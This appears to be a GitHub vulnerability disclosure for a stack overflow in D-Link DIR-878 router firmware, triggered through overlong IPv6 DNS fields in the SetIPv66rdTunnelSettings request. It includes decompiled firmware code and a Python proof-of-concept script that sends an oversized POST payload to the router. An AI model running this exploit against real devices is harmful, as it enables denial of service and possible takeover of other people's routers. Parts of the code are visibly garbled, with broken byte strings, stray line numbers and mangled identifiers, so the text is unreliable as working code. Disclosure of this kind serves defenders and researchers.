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RobinWang825 / IoT_vuln Public
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  Executable File 68 lines (41 sloc) 1.83 KB
```

# D-Link DIR878(1.02B04, 1.02B05) has a Stack Overflow Vulnerability

## **Product**

- 1. product information: http://support.dlink.com.cn:9000/ProductInfo.aspx?m=DIR-878
- 2. firmware download: http://support.dlink.com.cn:9000/download.ashx?file=6519

#### Affected version

1.02B04, 1.02B05

# **Vulnerability**

```
v26 = (const char *)webGetVarString(a1, (int)"/SetIPv66rdTunnelSettings/IPv6_PrimaryDNS");
if ( !v26 )
return WebSSetResponseResult(a1, 0);
v27 = (const char *)webGetVarString(a1, (int)"/SetIPv66rdTunnelSettings/IPv6_SecondaryDNS");
if ( !v27 )
return WebSSetResponseResult(a1, 0);
v28 = webGetVarString(a1, (int)"/SetIPv66rdTunnelSettings/IPv6_LanIPv6AddressAutoAssignment");
if ( !v28 )
return WebSSetResponseResult(a1, 0);
v29 = webGetVarString(a1, (int)"/SetIPv66rdTunnelSettings/IPv6_LanAutoConfigurationType");
if ( !v29 )
```

In sub\_4883F0 function, /SetIPv66rdTunnelSettings/IPv6\_SeacondaryDNS and

/SetIPv66rdTunnelSettings/IPv6 SeacondaryDNS are controllable and will be passed into the v26 and v27 variables respectively. Then, v26 and v27 will be spliced into v34 by snprintf. It is worth noting that there is no size check, which leads to a stack overflow vulnerability.

```
135 nvram_safe_set(v16, byte_4C7484);
        v17 = sub_478120((int)v36, (int)"ipv6_dns_manual", (int)v35);
136
       nvcam set int(v17, 1);

snprintf(v34, 93, "%s %s", v26, v27);

v18 = sub_478120((int)v36, (int)"ipv6_dns", (int)v35);
137
         nvram_safe_set(v18, v34);
        nvram_safe_set("lan0_ipv6_ipaddr", byte_4C74B4);
0 141
         nvram_set_int("lan0_ipv6_prefix_length", 64);
        nvram_set_int("lan0_ipv6_ula_enable", 0);
if (!strncmp(v28, "Enable", 6))
143
0 144
145
           nvram_set_int("lan0_ipv6_autoconf_enable", 1);
  146
        else
• 147
          nvram_set_int("lan0_ipv6_autoconf_enable", 0);
        nvram_set_int("lan@_ipv6_dhcppd_enable", 0);
nvram_safe_set("lan@_ipv6_autoconf_type", v29);
0 148
149
        if ( *v30 )
```

## PoC

```
import socket
import os
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
11 = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
ip = '192.168.0.1'
port = 80
r = socket.socket(socket.AF INET, socket.SOCK STREAM)
r.connect((ip, port))
rn = b' r n'
p1 = b'a' * 0x3000
p2 = b'SetIPv66rdTunnelSettings/SetIPv66rdTunnelSettings=' + p1
p3 = b"POST /SetIPv66rdTunnelSettings" + b" HTTP/1.1" + rn
p3 += b"Host: 192.168.0.1" + rn
p3 += b"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0" +
p3 += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"+rn
p3 += b"Accept-Language: en-US,en;q=0.5" + rn
p3 += b"Accept-Encoding: gzip, deflate" + rn
p3 += b"Cookie: curShow=; ac_login_info=passwork; test=A; password=1111" + rn
p3 += b"Connection: close" + rn
p3 += b"Upgrade-Insecure-Requests: 1" + rn
p3 += (b"Content-Length: %d" % len(p2)) +rn
p3 += b'Content-Type: application/x-www-form-urlencoded'+rn
p3 += rn
p3 += p2
r.send(p3)
response = r.recv(4096)
response = response.decode()
li(response)
                                                                                                          ▶
```

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